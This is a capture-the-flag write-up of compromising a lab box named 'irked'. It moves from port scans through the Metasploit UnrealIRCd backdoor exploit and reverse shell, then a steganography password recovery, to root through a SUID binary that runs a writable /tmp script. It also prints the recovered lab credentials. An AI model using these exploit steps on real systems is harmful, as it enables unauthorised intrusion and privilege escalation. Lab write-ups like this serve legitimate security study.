Information Gathering

1) Found open ports

```
Not shown: 34483 filtered tcp ports (no-response), 31048 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
6697/tcp open  ircs-u

Nmap done: 1 IP address (1 host up) scanned in 124.90 seconds
```

2) only one page was found

```
┌──(vigneswar㉿vigneswar)-[~]
└─$ ffuf -w SecLists/Discovery/Web-Content/directory-list-2.3-small.txt -u 'http://10.10.10.117/FUZZ' -ic

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.117/FUZZ
 :: Wordlist         : FUZZ: /home/vigneswar/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

                        [Status: 200, Size: 72, Words: 5, Lines: 4, Duration: 204ms]
manual                  [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 196ms]
                        [Status: 200, Size: 72, Words: 5, Lines: 4, Duration: 281ms]
:: Progress: [87651/87651] :: Job [1/1] :: 139 req/sec :: Duration: [0:08:56] :: Errors: 0 ::
```

3) rpc was enumerated

```
┌──(vigneswar㉿vigneswar)-[~]
└─$ nmap 10.10.10.117 -p111 -sV -sC
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-24 20:28 IST
Nmap scan report for 10.10.10.117
Host is up (0.30s latency).

PORT    STATE SERVICE VERSION
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          36464/tcp6  status
|   100024  1          38391/tcp   status
|   100024  1          40155/udp6  status
|_  100024  1          41354/udp   status

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.94 seconds
```

4) found a service

```
┌──(vigneswar㉿vigneswar)-[~]
└─$ nmap 10.10.10.117 -p6697 -sV -sC
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-24 21:56 IST
Nmap scan report for 10.10.10.117
Host is up (0.28s latency).

PORT     STATE SERVICE VERSION
6697/tcp open  irc     UnrealIRCd
Service Info: Host: irked.htb

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.01 seconds

┌──(vigneswar㉿vigneswar)-[~]
└─$
```

5) found backdoored service

```
cport => 4444
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST    10.10.16.5       no        The local client address
   CPORT    4444             no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:po
                                       rt][ ... ]
   RHOSTS   10.10.16.5       yes       The target host(s), see https://docs.metasploit.com/
                                       docs/using-metasploit/basics/using-metasploit.html
   RPORT    6667             yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target


View the full module info with the info, or info -d command.

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) >
```

```ruby
  def exploit
    connect

    print_status("Connected to #{rhost}:#{rport} ... ")
    banner = sock.get_once(-1, 30)
    banner.to_s.split("\n").each do |line|
      print_line("    #{line}")
    end

    print_status("Sending backdoor command ... ")
    sock.put("AB;" + payload.encoded + "\n")

    # Wait for the request to be handled
    1.upto(120) do
      break if session_created?
      select(nil, nil, nil, 0.25)
      handler()
    end
    disconnect
  end
end
```

Exploitation

1) Got the shell

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set rhost 10.10.10.117
rhost => 10.10.10.117
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit

[*] Started reverse TCP double handler on 10.10.16.5:4444
[*] 10.10.10.117:6697 - Connected to 10.10.10.117:6697 ...
    :irked.htb NOTICE AUTH :*** Looking up your hostname ...
[*] 10.10.10.117:6697 - Sending backdoor command ...
[*] Accepted the first client connection ...
[*] Accepted the second client connection ...
[*] Command: echo ZSblyjRCQ44nOHs7;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets ...
[*] Reading from socket B
[*] B: "ZSblyjRCQ44nOHs7\r\n"
[*] Matching ...
[*] A is input ...
[*] Command shell session 1 opened (10.10.16.5:4444 → 10.10.10.117:42524) at 2023-10-24 22:0
1:12 +0530
ls
aliases
autoconf
badwords.channel.conf
badwords.message.conf
badwords.quit.conf
```

got a tty shell

```
python -c "import pty;pty.spawn('/bin/bash')"
ircd@irked:~$
```

2) Found a stenography

```
ircd@irked:/home/djmardov$ cat Documents/.backup
Super elite steg backup pw
UPupDOWNdownLRlrBAbaSSss
```

3) Cracked the stenography

```
┌──(vigneswar㉿vigneswar)-[~]
└─$ steghide extract  -sf irked.jpg -p UPupDOWNdownLRlrBAbaSSss
wrote extracted data to "pass.txt".

┌──(vigneswar㉿vigneswar)-[~]
└─$ cat pass.txt
Kab6h+m+bbp2J:HG
```

4) Looked for suid bits

```
djmardov@irked:~$ find / -perm /4000 -user root -exec ls {} -l \; 2>/dev/null
-rwsr-xr-- 1 root messagebus 362672 Nov 21  2016 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 9468 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 13816 Sep  8  2016 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 562536 Nov 19  2017 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 13564 Oct 14  2014 /usr/lib/spice-gtk/spice-client-glib-usb-acl-helper
-rwsr-xr-x 1 root root 1085300 Feb 10  2018 /usr/sbin/exim4
-rwsr-xr-- 1 root dip 338948 Apr 14  2015 /usr/sbin/pppd
-rwsr-xr-x 1 root root 43576 May 17  2017 /usr/bin/chsh
-rwsr-sr-x 1 root mail 96192 Nov 18  2017 /usr/bin/procmail
-rwsr-xr-x 1 root root 78072 May 17  2017 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 38740 May 17  2017 /usr/bin/newgrp
-rwsr-xr-x 1 root root 18072 Sep  8  2016 /usr/bin/pkexec
-rwsr-sr-x 1 root root 9468 Apr  1  2014 /usr/bin/X
-rwsr-xr-x 1 root root 53112 May 17  2017 /usr/bin/passwd
-rwsr-xr-x 1 root root 52344 May 17  2017 /usr/bin/chfn
-rwsr-xr-x 1 root root 7328 May 16  2018 /usr/bin/viewuser
-rwsr-xr-x 1 root root 96760 Aug 13  2014 /sbin/mount.nfs
-rwsr-xr-x 1 root root 38868 May 17  2017 /bin/su
-rwsr-xr-x 1 root root 34684 Mar 29  2015 /bin/mount
-rwsr-xr-x 1 root root 34208 Jan 21  2016 /bin/fusermount
-rwsr-xr-x 1 root root 161584 Jan 28  2017 /bin/ntfs-3g
-rwsr-xr-x 1 root root 26344 Mar 29  2015 /bin/umount
djmardov@irked:~$
```

5) This binary seems to run a shell

```
djmardov@irked:~$ viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0           2023-10-24 10:38 (:0)
sh: 1: /tmp/listusers: not found
```

6) Got root shell

```
djmardov@irked:~$ echo "bash" > /tmp/listusers
djmardov@irked:~$ viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0           2023-10-24 10:38 (:0)
sh: 1: /tmp/listusers: Permission denied
djmardov@irked:~$ chmod +x /tmp/listusers
djmardov@irked:~$ viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0           2023-10-24 10:38 (:0)
root@irked:~# whoami
root
root@irked:~#
```